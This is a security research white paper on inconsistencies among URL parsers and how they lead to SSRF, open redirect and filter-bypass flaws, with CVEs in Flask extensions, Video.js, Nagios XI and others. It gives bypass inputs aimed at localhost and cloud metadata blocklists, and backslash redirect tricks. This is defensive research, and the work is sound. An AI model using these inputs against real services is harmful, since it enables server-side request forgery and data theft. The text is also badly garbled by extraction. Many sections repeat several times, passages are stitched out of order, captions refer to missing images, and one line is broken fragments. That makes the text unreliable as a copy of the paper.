Throughout our research, we examined 16 URL parsing libraries including: urllib (Python), urllib3 (Python), rfc3986 (Python),
httptools (Python), curl lib (cURL), Wget, Chrome (Browser), Uri (.NET), URL (Java), URI (Java), parse_url (PHP), url (NodeJS),
url-parse (NodeJS), net/url (Go), uri (Ruby) and URI (Perl). .
We found five categories of inconsistencies: scheme confusion, slashes confusion, backslash confusion, URL encoded
data confusion, and scheme mixup.
We were able to translate these inconsistencies into five classes of vulnerabilities: server-side request forgery (SSRF),
cross-site scripting (XSS), open redirect, filter bypass, and denial of service (DoS). In some cases, these vulnerabilities
could be exploited further to achieve a greater impact, including remote code execution.
Eventually, based on our research and the code patterns we searched, we discovered eight vulnerabilities, below, in
existing web applications and third-party libraries written in different languages used by many popular web
applications.
1) Flask-security (Python, CVE-2021-23385)
2) Flask-security-too (Python, CVE-2021-32618)
3) Flask-User (Python, CVE-2021-23401)
4) Flask-unchained (Python, CVE-2021-23393)
5) Belledonne’s SIP Stack (C, CVE-2021-33056)
6) Video.js (JavaScript, CVE-2021-23414)
7) Nagios XI (PHP, CVE-2021-37352)
8) Clearance (Ruby, CVE-2021-23435)
claroty.com
6
Copyright © 2021 Claroty Ltd. All rights reserved
URLS AND RFCS
WHAT IS A URL?
We think we know URLs, but do we actually? They look simple enough, containing a host, path, and on occasion a query.
However in reality they could be a whole lot more complicated.
Today, two principal URL specifications exist: URL RFCs by IETF, and WHATWG specifications. While those standards
describe the same URL-parsing primitives, some inconsistencies exist between those two specifications (we will cover
these inconsistencies in this section). In addition, different RFC versions have changed the way they treat various URL parts
between releases, making backward compatibility a difficult task.
To start digging deeper, we looked into the many RFCs defining URLs and URIs over the years. In fact, since 1994 (RFC 1738),
there have been many changes to the definitions of URLs, the biggest revisions being RFC 1808 in 1995, RFC 2396 in 1998,
and RFC 3986 in 2005.
Most of the RFCs over the years defined URLs in a similar way:
scheme://authority/path?query#fragment
For example:
foo://example.com:8042/over/there?name=ferret#nose
Lets dive deeper into the different components of the URL defined in different RFCs over the years.
RFC 1738
1994
First Definition of
URL Syntax and
components
RFC 2141
1997
Creation of URN
Syntax
RFC 1808
1995
Added Syntax for
Relative URLs
RFC 2396
1998
Revision of URL and
expansion of
some components
RFC 2732
1999
Added support
for IPV6
RFC 3986
2005
Obsoleting prior
standards defining
URL as we know it
claroty.com
7
Copyright © 2021 Claroty Ltd. All rights reserved
URL COMPONENTS
SCHEME
The scheme defines the protocol to be used (i.e. HTTP, HTTPS, FTP etc.), and could define different parsing primitives for the
URL components following the scheme.
The available character set is well defined, allowing lowercase letters, digits, plus sign (+), period (.) and a hyphen (-). As of
RFC 2396, valid schemes require the first character to be a lowercase letter. Prior to that, any combination of the character
set was valid as a scheme.
Here is how a scheme is defined in RFC 2396 and RFC 3986:
And here is how it is defined in RFC 1738 and RFC 1808:
The scheme is the only required component; all others are optional.
AUTHORITY/NETLOC
This component’s name was changed from netloc to authority, but still refers to the host that holds the wanted resource.
The authority component of the URL is built from three sub-components, below.
Whereas userinfo is a user:password string, host is either a hostname or an IP address, and port is a
digit within the valid port range.
As of RFC 2396, the usage of user:password was discouraged, and in RFC 3986 it was deprecated.
RFC 2396
URL Components
Scheme
The scheme defines the protocol to be used (i.e. HTTP, HTTPS, FTP etc.), and could define
different parsing primitives for the URL components following the scheme.
The available character set is well defined, allowing lowercase letters, digits, plus sign (+),
period (.) and a hyphen (-). As of RFC 2396, valid schemes require the first character to be a
lowercase letter. Prior to that, any combination of the character set was valid as a scheme.
Here is how a scheme is defined in RFC 2396 and RFC 3986:
scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )
And here is how it is defined in RFC 1738 and RFC 1808:
scheme
= 1*[ lowalpha | digit | "+" | "-" | "." ]
The scheme is the only required component; all others are optional.
Authority/Netloc
This component's name was changed from netloc to authority, but still refers to the host that
holds the wanted resource.
The authority component of the URL is built from three sub-components, below.
authority = [ userinfo "@" ] host [ ":" port ]
Whereas userinfo is a user:password string, host is either a hostname or an IP address,
and port is a digit within the valid port range.
As of RFC 2396, the usage of user:password was discouraged, and in RFC 3986 it was
deprecated.
RFC 2396
Some URL schemes use the format "user:password" in the userinfo
field. This practice is NOT RECOMMENDED, because the passing of
authentication information in clear text (such as URI) has proven to
be a security risk in almost every case where it has been used.
RFC 3986
Use of the format "user:password" in the userinfo field is
deprecated. Applications should not render as clear text any data
URL Components
Scheme
The scheme defines the protocol to be used (i.e. HTTP, HTTPS, FTP etc.), and could define
different parsing primitives for the URL components following the scheme.
The available character set is well defined, allowing lowercase letters, digits, plus sign (+),
period (.) and a hyphen (-). As of RFC 2396, valid schemes require the first character to be a
lowercase letter. Prior to that, any combination of the character set was valid as a scheme.
Here is how a scheme is defined in RFC 2396 and RFC 3986:
scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )
And here is how it is defined in RFC 1738 and RFC 1808:
scheme
= 1*[ lowalpha | digit | "+" | "-" | "." ]
The scheme is the only required component; all others are optional.
Authority/Netloc
This component's name was changed from netloc to authority, but still refers to the host that
holds the wanted resource.
The authority component of the URL is built from three sub-components, below.
authority = [ userinfo "@" ] host [ ":" port ]
Whereas userinfo is a user:password string, host is either a hostname or an IP address,
and port is a digit within the valid port range.
As of RFC 2396, the usage of user:password was discouraged, and in RFC 3986 it was
deprecated.
RFC 2396
Some URL schemes use the format "user:password" in the userinfo
field. This practice is NOT RECOMMENDED, because the passing of
authentication information in clear text (such as URI) has proven to
be a security risk in almost every case where it has been used.
RFC 3986
Use of the format "user:password" in the userinfo field is
deprecated. Applications should not render as clear text any data
URL Components
Scheme
The scheme defines the protocol to be used (i.e. HTTP, HTTPS, FTP etc.), and could define
different parsing primitives for the URL components following the scheme.
The available character set is well defined, allowing lowercase letters, digits, plus sign (+),
period (.) and a hyphen (-). As of RFC 2396, valid schemes require the first character to be a
lowercase letter. Prior to that, any combination of the character set was valid as a scheme.
Here is how a scheme is defined in RFC 2396 and RFC 3986:
scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )
And here is how it is defined in RFC 1738 and RFC 1808:
scheme
= 1*[ lowalpha | digit | "+" | "-" | "." ]
The scheme is the only required component; all others are optional.
Authority/Netloc
This component's name was changed from netloc to authority, but still refers to the host that
holds the wanted resource.
The authority component of the URL is built from three sub-components, below.
authority = [ userinfo "@" ] host [ ":" port ]
Whereas userinfo is a user:password string, host is either a hostname or an IP address,
and port is a digit within the valid port range.
As of RFC 2396, the usage of user:password was discouraged, and in RFC 3986 it was
deprecated.
RFC 2396
Some URL schemes use the format "user:password" in the userinfo
field. This practice is NOT RECOMMENDED, because the passing of
authentication information in clear text (such as URI) has proven to
be a security risk in almost every case where it has been used.
RFC 3986
Use of the format "user:password" in the userinfo field is
deprecated. Applications should not render as clear text any data
URL Components
Scheme
The scheme defines the protocol to be used (i.e. HTTP, HTTPS, FTP etc.), and could define
different parsing primitives for the URL components following the scheme.
The available character set is well defined, allowing lowercase letters, digits, plus sign (+),
period (.) and a hyphen (-). As of RFC 2396, valid schemes require the first character to be a
lowercase letter. Prior to that, any combination of the character set was valid as a scheme.
Here is how a scheme is defined in RFC 2396 and RFC 3986:
scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )
And here is how it is defined in RFC 1738 and RFC 1808:
scheme
= 1*[ lowalpha | digit | "+" | "-" | "." ]
The scheme is the only required component; all others are optional.
Authority/Netloc
This component's name was changed from netloc to authority, but still refers to the host that
holds the wanted resource.
The authority component of the URL is built from three sub-components, below.
authority = [ userinfo "@" ] host [ ":" port ]
Whereas userinfo is a user:password string, host is either a hostname or an IP address,
and port is a digit within the valid port range.
As of RFC 2396, the usage of user:password was discouraged, and in RFC 3986 it was
deprecated.
RFC 2396
Some URL schemes use the format "user:password" in the userinfo
field. This practice is NOT RECOMMENDED, because the passing of
authentication information in clear text (such as URI) has proven to
be a security risk in almost every case where it has been used.
RFC 3986
Use of the format "user:password" in the userinfo field is
deprecated. Applications should not render as clear text any data
claroty.com
8
Copyright © 2021 Claroty Ltd. All rights reserved
RFC 3986
PATH
This component identifies the specific resource that is accessed.
Even though the path seems like the simplest component of a URL, it is also the component that was changed the most
over the years.
In RFC 1738 and RFC 1808, the path component is dependent entirely on the specified scheme. Generally, the path is
built from printable characters specifying a directory path leading to the wanted file. The only reserved characters are a
semicolon (;), a forward slash (/) and a question mark (?); these are reserved for protocol-specific settings. The semicolon (;)
is reserved for passing parameters to the protocol, for example in the FTP protocol, semicolon is used for passing the
type opcode.
However, RFC 2396 changed how a path is built. RFC 2396 defined it this way:
after the first colon (":") character found within a userinfo
subcomponent unless the data after the colon is the empty string
(indicating no password). Applications may choose to ignore or
reject such data when it is received as part of a reference and
should reject the storage of such data in unencrypted form. The
passing of authentication information in clear text has proven to be
a security risk in almost every case where it has been used.
Path
This component identifies the specific resource that is accessed.
Even though the path seems like the simplest component of a URL, it is also the component
that was changed the most over the years.
In RFC 1738 and RFC 1808, the path component is dependent entirely on the specified
scheme. Generally, the path is built from printable characters specifying a directory path leading
to the wanted file. The only reserved characters are a semicolon (;), a forward slash (/) and a
question mark (?); these are reserved for protocol-specific settings. The semicolon (;) is
reserved for passing parameters to the protocol, for example in the FTP protocol, semicolon is
used for passing the type opcode.
Url_path
= <cwd1>/<cwd2>/.../<cwdN>/<name>;type=<typecode>
However, RFC 2396 changed how a path is built. RFC 2396 defined it this way:
path = [ abs_path | opaque_part ]
path_segments = segment *( "/" segment )
segment = *pchar *( ";" param )
param
= *pchar
pchar = unreserved | escaped |
":" | "@" | "&" | "=" | "+" | "$" | ","
The path may consist of a sequence of path segments separated by a
single slash "/" character. Within a path segment, the characters
"/", ";", "=", and "?" are reserved. Each path segment may include a
sequence of parameters, indicated by the semicolon ";" character.
The parameters are not significant to the parsing of relative
references.
after the first colon (":") character found within a userinfo
subcomponent unless the data after the colon is the empty string
(indicating no password). Applications may choose to ignore or
reject such data when it is received as part of a reference and
should reject the storage of such data in unencrypted form. The
passing of authentication information in clear text has proven to be
a security risk in almost every case where it has been used.
Path
This component identifies the specific resource that is accessed.
Even though the path seems like the simplest component of a URL, it is also the component
that was changed the most over the years.
In RFC 1738 and RFC 1808, the path component is dependent entirely on the specified
scheme. Generally, the path is built from printable characters specifying a directory path leading
to the wanted file. The only reserved characters are a semicolon (;), a forward slash (/) and a
question mark (?); these are reserved for protocol-specific settings. The semicolon (;) is
reserved for passing parameters to the protocol, for example in the FTP protocol, semicolon is
used for passing the type opcode.
Url_path
= <cwd1>/<cwd2>/.../<cwdN>/<name>;type=<typecode>
However, RFC 2396 changed how a path is built. RFC 2396 defined it this way:
path = [ abs_path | opaque_part ]
path_segments = segment *( "/" segment )
segment = *pchar *( ";" param )
param = *pchar
pchar = unreserved | escaped |
":" | "@" | "&" | "=" | "+" | "$" | ","
The path may consist of a sequence of path segments separated by a
single slash "/" character. Within a path segment, the characters
"/", ";", "=", and "?" are reserved. Each path segment may include a
sequence of parameters, indicated by the semicolon ";" character.
The parameters are not significant to the parsing of relative
references.
Some URL schemes use the format "user:password" in the userinfo
field. This practice is NOT RECOMMENDED, because the passing of
authentication information in clear text (such as URI) has proven to
be a security risk in almost every case where it has been used.
RFC 3986
Use of the format "user:password" in the userinfo field is
deprecated. Applications should not render as clear text any data
after the first colon (":") character found within a userinfo
subcomponent unless the data after the colon is the empty string
(indicating no password). Applications may choose to ignore or
reject such data when it is received as part of a reference and
should reject the storage of such data in unencrypted form. The
passing of authentication information in clear text has proven to be
a security risk in almost every case where it has been used.
Path
This component identifies the specific resource that is accessed.
Even though the path seems like the simplest component of a URL, it is also the component
that was changed the most over the years.
In RFC 1738 and RFC 1808, the path component is dependent entirely on the specified
scheme. Generally, the path is built from printable characters specifying a directory path leading
to the wanted file. The only reserved characters are a semicolon (;), a forward slash (/) and a
question mark (?); these are reserved for protocol-specific settings. The semicolon (;) is
reserved for passing parameters to the protocol, for example in the FTP protocol, semicolon is
used for passing the type opcode.
Url_path
= <cwd1>/<cwd2>/.../<cwdN>/<name>;type=<typecode>
However, RFC 2396 changed how a path is built. RFC 2396 defined it this way:
path = [ abs_path | opaque_part ]
path_segments = segment *( "/" segment )
segment = *pchar *( ";" param )
param = *pchar
pchar = unreserved | escaped |
":" | "@" | "&" | "=" | "+" | "$" | ","
The path may consist of a sequence of path segments separated by a
single slash "/" character. Within a path segment, the characters
"/", ";", "=", and "?" are reserved. Each path segment may include a
sequence of parameters, indicated by the semicolon ";" character.
The parameters are not significant to the parsing of relative
references.
claroty.com
9
Copyright © 2021 Claroty Ltd. All rights reserved
RFC 2396 specified that each path segment (separated by a single slash, /) could have parameters indicated by a semicolon
(;). Now each path segment could specify a parameter relevant to it.
RFC 3986, which came soon after, removed support for URL parameters, and made the path specification close to how it
was before, returning to protocol-specific parsing. The FTP protocol for example retained the usage of its parameters, and
the HTTP protocol still did not support them.
QUERY
A query is a key-value pair of information that should be accessed, interpreted, and used by the resource. As stated in
RFC 3986, the query component is indicated by the first question mark (?) character, and terminated by a number sign (#)
character or by the end of the URI. Within a query component, the characters, semicolon (;), forward slash (/), question
mark (?), colon (:), at-symbol (@), ampersand (&), equal sign (=), plus sign (+), comma (,), and dollar sign ($) are reserved, and
if used, will be URL encoded.
The query component has not changed much over the years.
FRAGMENT
The fragment is the last URL component, and is used to identify and access a second resource within the first fetched
resource specified by the path component. A fragment component is indicated by the presence of a number sign (#) and is
terminated by the end of the URI.
As we’ve seen, the URL specification has changed significantly during the last 25 years, and URL parsers should have
changed to support the new specifications. However, implementing all of these changes while remaining backward-
compatible is not an easy job.
Furthermore, many URI components use the same reserved characters, something that could theoretically lead to confusion.
For example, the colon (:) is used to specify many things, including the URI scheme, the supplied user:password,
and the port. Sometimes, common characters could lead parsers into mistakenly separating the wrong parts of the URI.
RFC 2396 specified that each path segment (separated by a single slash, /) could have
parameters indicated by a semicolon (;). Now each path segment could specify a parameter
relevant to it.
RFC 3986, which came soon after, removed support for URL parameters, and made the path
specification close to how it was before, returning to protocol-specific parsing. The FTP protocol
for example retained the usage of its parameters, and the HTTP protocol still did not support
them.
path = path-abempty ; begins with "/" or is empty
/ path-absolute ; begins with "/" but not "//"
/ path-noscheme ; begins with a non-colon segment
/ path-rootless ; begins with a segment
/ path-empty ; zero characters
path-abempty = *( "/" segment )
path-absolute = "/" [ segment-nz *( "/" segment ) ]
path-noscheme = segment-nz-nc *( "/" segment )
path-rootless = segment-nz *( "/" segment )
path-empty = 0<pchar>
segment = *pchar
segment-nz = 1*pchar
segment-nz-nc = 1*( unreserved / pct-encoded / sub-delims / "@" )
; non-zero-length segment without any colon ":"
pchar = unreserved / pct-encoded / sub-delims / ":" / "@"
Query
A query is a key-value pair of information that should be accessed, interpreted, and used by the
resource. As stated in RFC 3986, the query component is indicated by the first question mark
(?) character, and terminated by a number sign (#) character or by the end of the URI. Within a
query component, the characters, semicolon (;), forward slash (/), question mark (?), colon (:),
at-symbol (@), ampersand (&), equal sign (=), plus sign (+), comma (,), and dollar sign ($) are
reserved, and if used, will be URL encoded.
The query component has not changed much over the years.
Fragment
The fragment is the last URL component, and is used to identify and access a second resource
within the first fetched resource specified by the path component. A fragment component is
indicated by the presence of a number sign (#) and is terminated by the end of the URI.
claroty.com
10
Copyright © 2021 Claroty Ltd. All rights reserved
RELATIVE REFERENCES
Since URLs are hierarchical in nature, relative references are URLs relative to another one. Yes, we use the term
in its definition, but this is essentially what it is. For instance, if we have predefined a base URL, lets say
http://www.example.com, and provide a URL starting from the path segment /foo/bar, the parser can resolve
these into the absolute URL http://www.example.com/foo/bar. Thus /foo/bar is said to be relative to
http://www.example.com. The key point here is this: the parser has to be supplied with a base URL for it to know
how to resolve the relative one.
RFC 3986 defines three types of relative references:
Network-path reference: Begins with // e.g. //example.com
Absolute-path reference: Begins with / e.g. /path/foo/bar
Relative-path reference: Doesn’t begin with / e.g. path/foo/bar
While the last two require an absolute URL to resolve the relative one, the network-path reference only requires a scheme,
i.e., //example.com turns into http://example.com if the parser knows it should handle the HTTP protocol.
This is exactly what a browser will do when asked to fetch a resource from a network-path reference; it will resolve it to an
absolute URL, usually with the default HTTP scheme. As we’re about to witness, this can have security implications.
WHATWG URL SPECIFICATIONS
Another standard aimed at establishing a URL specification was started by the Web Hypertext Application Technology
Working Group (WHATWG), a community founded by individuals from leading web and technology companies who tried to
create an updated, true-to-form URL specification and URL parsing primitive.
While the WHATWG URL specification (TWUS) is not so different from the latest RFC URL specification (RFC 3986), minor
differences still exist. One example is that while RFC 3986 differentiates between backslashes (\) and forward slashes (/)
(forward slashes are treated as a delimiter inside a path component, while backslashes are a character with no reserved
purpose), WHATWG’s specification states that backslashes should be converted to slashes, and then be treated as such,
largely because most web browsers don’t differentiate between those two kinds of slashes, and treat them equally.
When WHATWG released its new “Living” URL standard, it broke compatibility with some existing standards and behaviours
that contemporary URL parsing libraries followed. These interop issues remain one of the primary reasons why many
maintainers of some parsing libraries stick to the RFC 3986 specifications as much as possible.
We can see that WHATWG tries to keep the URL specification more up-to-date and closer to a real-world compliant than
the RFC specification, however differences between the WHATWG specification and real-life still exist, mainly because of
the vast range of real-life URL parsing edge-cases. One comparison between RFC 3986, WHATWG and real-life parsers
could be seen in Daniel Stenberg’s (bagder) Github repository.
claroty.com
11
Copyright © 2021 Claroty Ltd. All rights reserved
A summary of inconsistencies between RFC 3986/7 and the WHATWG URL specification. These differences were found
by the creator of cURL, Daniel Stenberg.
In real-life, most web browsers follow the WHATWG URL specification because it is more user-tolerant and accounts for
human errors. This meets a browser’s aim of working correctly, even when encountering malformed URLs.
URL Component
scheme
divider
userinfo
hostname
port number
path
query
fragment
Interop issues (RFC vs WHATWG)
NO
YES
YES
YES
YES
YES
UNKNOWN
UNKNOWN
Examples
/ vs. \
Multiple @ in the authority component
Supported character-set and IP representation
Valid port range
Supported character-set
claroty.com
12
Copyright © 2021 Claroty Ltd. All rights reserved
URL PARSING INCONSISTENCIES
Following a review of most of the URL RFCs and noticing all of the changes that occurred over the years, we’ve decided
to examine URL parsers. We tried to find edge-cases that would result in incorrect or unexpected parsing results.
As part of our research, we selected 15 different libraries—written in different programming languages—URL fetchers,
and browsers. We found many inconsistencies among the researched parsers. These inconsistencies have been categorized
into five categories, which we believe are the root causes of these inconsistencies. Using the categorizations, below,
we can trick most parsers and create a variety of unpredictable behavior, resulting in a wide range of vulnerabilities.
The categorized inconsistencies are: scheme confusion, slash confusion, backslash confusion, URL-encoded confusion.
Later, we will dive into each category and explain what is the root cause for each inconsistency.
What is important to understand is that URL syntax is complex and many edge cases could arise when non-standard inputs
are given to a URL parser. The purpose of RFCs is to define as much as possible how a URL should be parsed. But given how
many possible scenarios there are, there will always be edge-cases where it’s unclear how they should be handled. As a
consequence, the parser’s inconsistencies are not necessarily a result of a bug in the code, but rather how the developers
treated the edge-cases.
As a result of our analysis, we were able to identify and categorize five different scenarios in which most URL parsers
behaved unexpectedly:
• Scheme Confusion: A confusion involving URLs with missing or malformed Scheme
• Slash Confusion: A confusion involving URLs containing an irregular number of slashes
• Backslash Confusion: A confusion involving URLs containing backslashes (\)
• URL Encoded Data Confusion: A confusion involving URLs containing URL Encoded data
• Scheme Mixup: A confusion involving parsing a URL belonging to a certain scheme without a scheme-specific parser
SCHEME CONFUSION
We noticed how almost any URL parser is confused when the scheme component is omitted. That is because RFC 3986
clearly determines that the only mandatory part of the URL is the scheme, whereas previous RFC releases (RFC 2396 and
earlier) don’t specify it. Therefore, when it is not present, most parsers get confused.
For example, here are four different Python libraries that were given the following input: google.com/abc.
claroty.com
13
Copyright © 2021 Claroty Ltd. All rights reserved
As you can see, most parsers when given the input google.com/abc state that the host is
empty while the path is google.com/abc. However, urllib3 states that the host is google.com
and the path is /abc, while httptools complains that the supplied URL is invalid. The underlying
fact is that when supplied with such a URL, almost no URL parser parses the URL successfully
because the URL does not follow the RFC specifications.
However, when we try to fetch this URL, some parsers are able to successfully parse it with
google.com as the hostname, thus fetching the resource correctly.
A fetch request using cURL, interpreting this malformed URL as if it had a default scheme.
As you can see, most parsers when given the input google.com/abc state that the host is
empty while the path is google.com/abc. However, urllib3 states that the host is google.com
and the path is /abc, while httptools complains that the supplied URL is invalid. The underlying
fact is that when supplied with such a URL, almost no URL parser parses the URL successfully
because the URL does not follow the RFC specifications.
However, when we try to fetch this URL, some parsers are able to successfully parse it with
google.com as the hostname, thus fetching the resource correctly.
A fetch request using cURL, interpreting this malformed URL as if it had a default scheme.
As you can see, most parsers when given the input google.com/abc state that the host is empty while the path is
google.com/abc. However, urllib3 states that the host is google.com and the path is /abc, while httptools complains
that the supplied URL is invalid. The underlying fact is that when supplied with such a URL, almost no URL
eparser parses the URL successfully because the URL does not follow the RFC specifications.
However, when we try to fetch this URL, some parsers are able to successfully parse it with google.com as the hostname,
thus fetching the resource correctly.
A fetch request using cURL, interpreting this malformed URL as if it had a default scheme.
claroty.com
14
Copyright © 2021 Claroty Ltd. All rights reserved
Attackers could abuse this inconsistency in order to bypass validation checks disallowing specific hosts (e.g. localhost
127.0.0.1, or cloud instance metadata 169.254.169.254), by omitting the scheme and throwing off the validations done by the
first URL parser. An example of a vulnerable code block is seen here:
As you can see, above, the server does not allow requests to be made to the localhost interface. This is done by validating
the received URL (using urlsplit) and comparing its netloc (host) to the blacklisted netloc (in this case, localhost and
127.0.0.1). If the given netloc is the same as the blacklisted netlocs, the server does not perform the request, instead throws
an exception.
When supplied localhost/secret.txt as the input URL, urlsplit parses this URL as a URL having no netloc (as seen above),
thus the check if the given URL is in the blacklisted netlocs returns “False,” and does not throw an exception. However,
as seen above, urllib3 interprets this URL as a valid URL, appending a default scheme of HTTP, thus fetching the
blacklisted localhost.
SLASH CONFUSION
Another type of confusion we’ve recognized is a confusion involving a non-standard number of slashes in a URL, specifically
in the authority segment of the URL.
As written in RFC 3986, a URL authority should start after the scheme, separated by a colon and two forward slashes ://.
It should persist until either the parser reaches the end of a line (EOL) or a delimiter is read; these delimiters being
either a slash signaling the start of a path component, a question mark signaling the start of a query, or a hashtag
signaling a fragment.
Attackers could abuse this inconsistency in order to bypass validation checks disallowing
specific hosts (e.g. localhost 127.0.0.1, or cloud instance metadata 169.254.169.254), by
omitting the scheme and throwing off the validations done by the first URL parser. An example
of a vulnerable code block is seen here:
As you can see, above, the server does not allow requests to be made to the localhost
interface. This is done by validating the received URL (using urlsplit) and comparing its netloc
(host) to the blacklisted netloc (in this case - localhost and 127.0.0.1). If the given netloc is the
same as the blacklisted netlocs, the server does not perform the request, instead throws an
exception.
When supplied localhost/secret.txt as the input URL, urlsplit parses this URL as a URL having
no netloc (as seen above), thus the check if the given URL is in the blacklisted netlocs returns
“False,” and does not throw an exception. However, as seen above, urllib3 interprets this URL
as a valid URL, appending a default scheme of HTTP, thus fetching the blacklisted localhost.
claroty.com
15
Copyright © 2021 Claroty Ltd. All rights reserved
However, this specification could introduce a few parsing differences when not all parsers follow this syntax verbatim.
Throughout our research, we’ve identified that not all URL parsers follow this syntax verbatim, which leads to some
interesting interactions. Lets look at the following URL as an example:
http:///google.com/
When we give this URL to our parsers (notice the extra slash), we see some really interesting results:
As you can see, most URL parsers interpreted this URL as having no host, instead placing /google.com as the URL’s path
which is the desired behavior according to RFC 3986. We can see this result no matter how many extra slashes we add to
the URL, the only difference is the number of slashes in the path component of the parsed URL. Similarly, when supplied
with a URL missing a slash after the scheme, we can see the same results.
The reason our parsers think a URL with three or more slashes has no netloc becomes clear when we see how our parsers
treat URLs. We can see that in all cases, our parsers search for a // to signify the start of an authority component,
which will continue until a delimiter is encountered, and of course, one of those delimiters is a slash. Since our URL has
another slash immediately after the first two slashes, the parser thinks it reached a delimiter and the end of the
authority component, resulting in an empty string as the authority because no characters appeared between the first two
slashes in the third one.
This example demonstrates how different parsers parse the hostname and path incorrectly whenever you
provide the URL with an extra slash.
(EOL) or a delimiter is read; these delimiters being either a slash signaling the start of a path
component, a question mark signaling the start of a query, or a hashtag signaling a fragment.
However, this specification could introduce a few parsing differences when not all parsers follow
this syntax verbatim.
Throughout our research, we’ve identified that not all URL parsers follow this syntax verbatim,
which leads to some interesting interactions. Lets look at the following URL as an example:
http:///google.com/
When we give this URL to our parsers (notice the extra slash), we see some really interesting
results:
This example demonstrates how different parsers parse the hostname and path incorrectly whenever you provide the URL
with an extra slash.
claroty.com
16
Copyright © 2021 Claroty Ltd. All rights reserved
In the case of only one slash, the parser never finds the start of an authority component, thus leaving it as an empty string.
However, when we looked into other parsers, we found a group that ignored extra or missing slashes, at least to some
degree, accepting malformed URLs with an incorrect number of slashes before the authority component. We noticed most
parsers that ignore extra or missing slashes are non-programmatic parsers, which are trusted with receiving a URL and
fetching the requested resource
For example, Google Chrome and most modern browsers simply ignore extra slashes, instead treating the URL as if it was in
its correct representation.
Another parser that accepts malformed URLs with missing or extra slashes is cURL. When we supply it with a malformed
URL, we see a somewhat similar result:
A request being performed inside a browser through JavaScript’s fetch directive, fetching a URL with many extra
slashes. We can see that the request was fulfilled and the resource had been fetched.
A fetch request using cURL, fetching malformed URLs with extra/missing slashes.
appeared between the first two slashes in the third one.
In the case of only one slash, the parser never finds the start of an authority component, thus
leaving it as an empty string.
However, when we looked into other parsers, we found a group that ignored extra or missing
slashes, at least to some degree, accepting malformed URLs with an incorrect number of
slashes before the authority component. We noticed most parsers that ignore extra or missing
slashes are non-programmatic parsers, which are trusted with receiving a URL and fetching the
requested resource
For example, Google Chrome and most modern browsers simply ignore extra slashes, instead
treating the URL as if it was in its correct representation.
A request being performed inside a browser through JavaScript’s fetch directive, fetching a URL with many extra slashes.
We can see that the request was fulfilled and the resource had been fetched.
Another parser that accepts malformed URLs with missing or extra slashes is cURL. When we
supply it with a malformed URL, we see a somewhat similar result:
A fetch request using cURL, fetching malformed URLs with extra/missing slashes.
As we can see, cURL accepts malformed URLs to some degree, accepting either one extra
slash or one missing slash, while denying a URL with four or more extra slashes. This is clearly
stated in cURL documentation.
There is no indication that cURL is following WHATWG specification blindly, instead it appears
that cURL is following RFC 3986 and extending its capabilities to handle some real-world use
cases including common human errors and behaviours, such as URLs without a scheme (e.g.
example.com instead of http://example.com).
Thi diff
i
i
lt
id
f
tt
k
i
th t
ld l
d t
claroty.com
17
Copyright © 2021 Claroty Ltd. All rights reserved
As we can see, cURL accepts malformed URLs to some degree, accepting either one extra slash or one missing slash, while
denying a URL with four or more extra slashes. This is clearly stated in cURL documentation.
There is no indication that cURL is following WHATWG specification blindly, instead it appears that cURL is following RFC
3986 and extending its capabilities to handle some real-world use cases including common human errors and behaviours,
such as URLs without a scheme (e.g. example.com instead of http://example.com).
This difference in parsing results exposes a wide range of attack scenarios that could lead to serious vulnerabilities. For
example, imagine a scenario in which a website has a functionality of fetching resources. By design, this functionality could
be vulnerable and could lead to a SSRF vulnerability, so in order to remedy this possible vulnerability, the website performs
a validation on the URL, disallowing URLs with a specific hostname in order to block requests to those hosts.
As we’ve seen before, because urlsplit does not ignore extra slashes, it will parse this URL as a URL with an empty authority
(netloc), thus passing the security check comparing the netloc (an empty string in this case) to google.com. However, since
cURL ignores the extra slash, it will fetch the URL as if it had only two slashes, thus bypassing the attempted validation and
resulting in a SSRF vulnerability.
BACKSLASH CONFUSION
Another interesting interaction between URL parsers and malformed URLs involves URLs that use a backslash (\) instead of
a slash (/). According to RFC 3986, a backslash is an entirely different character from a slash, and should not be interpreted
as one. This means the URL https://google.com and https:\\google.com are different and should be parsed differently.
And true to the RFC, most programmatic URL parsers do not treat a slash and a backslash interchangeably:
An example code implementing the security checks described above.
An example code implementing the security checks described above.
As we’ve seen before, because urlsplit does not ignore extra slashes, it will parse this URL as a
URL with an empty authority (netloc), thus passing the security check comparing the netloc (an
empty string in this case) to google.com. However, since cURL ignores the extra slash, it will
fetch the URL as if it had only two slashes, thus bypassing the attempted validation and
resulting in a SSRF vulnerability.
Backslash Confusion
Another interesting interaction between URL parsers and malformed URLs involves URLs that
use a backslash (\) instead of a slash (/). According to RFC 3986, a backslash is an entirely
different character from a slash, and should not be interpreted as one. This means the URL
https://google.com and https:\\google.com are different and should be parsed differently.
And true to the RFC, most programmatic URL parsers do not treat a slash and a backslash
interchangeably:
claroty.com
18
Copyright © 2021 Claroty Ltd. All rights reserved
However, when supplied to the Chrome browser (this result is replicated in most browsers), Chrome chooses to interpret
the backslash as if it was a regular slash.
And indeed, the browser treats this malformed URL as if the backslashes were slashes.
Furthermore, to take matters into the extreme, in case both slashes and backslashes are used, the browser still accepts the
URL and treats it as a valid URL, as can be seen in the picture below.
The parsing result of the URL http:\\google.com.
However, when supplied to the Chrome browser (this result is replicated in most browsers),
Chrome chooses to interpret the backslash as if it was a regular slash.
A HTTP response telling the browser to redirect the user to https:\\www.google.com through the Location HTTP header,
using backslashes instead of slashes.
And indeed, the browser treats this malformed URL as if the backslashes were slashes.
Furthermore, to take matters into the extreme, in case both slashes and backslashes are used,
the browser still accepts the URL and treats it as a valid URL, as can be seen in the picture
below.
A HTTP response telling the browser to redirect the user to https:◌ֿ /\www.google.com through the Location HTTP header,
using both backslashes and slashes.
This uncanny behavior happens because most browsers actually follow the WHATWG URL
specification (TWUS), which states backslashes should be treated the same as front slashes.
The parsing result of the URL http:\\google.com.
However, when supplied to the Chrome browser (this result is replicated in most browsers),
Chrome chooses to interpret the backslash as if it was a regular slash.
A HTTP response telling the browser to redirect the user to https:\\www.google.com through the Location HTTP header,
using backslashes instead of slashes.
And indeed, the browser treats this malformed URL as if the backslashes were slashes.
Furthermore, to take matters into the extreme, in case both slashes and backslashes are used,
the browser still accepts the URL and treats it as a valid URL, as can be seen in the picture
below.
A HTTP response telling the browser to redirect the user to https:◌ֿ /\www.google.com through the Location HTTP header,
using both backslashes and slashes.
This uncanny behavior happens because most browsers actually follow the WHATWG URL
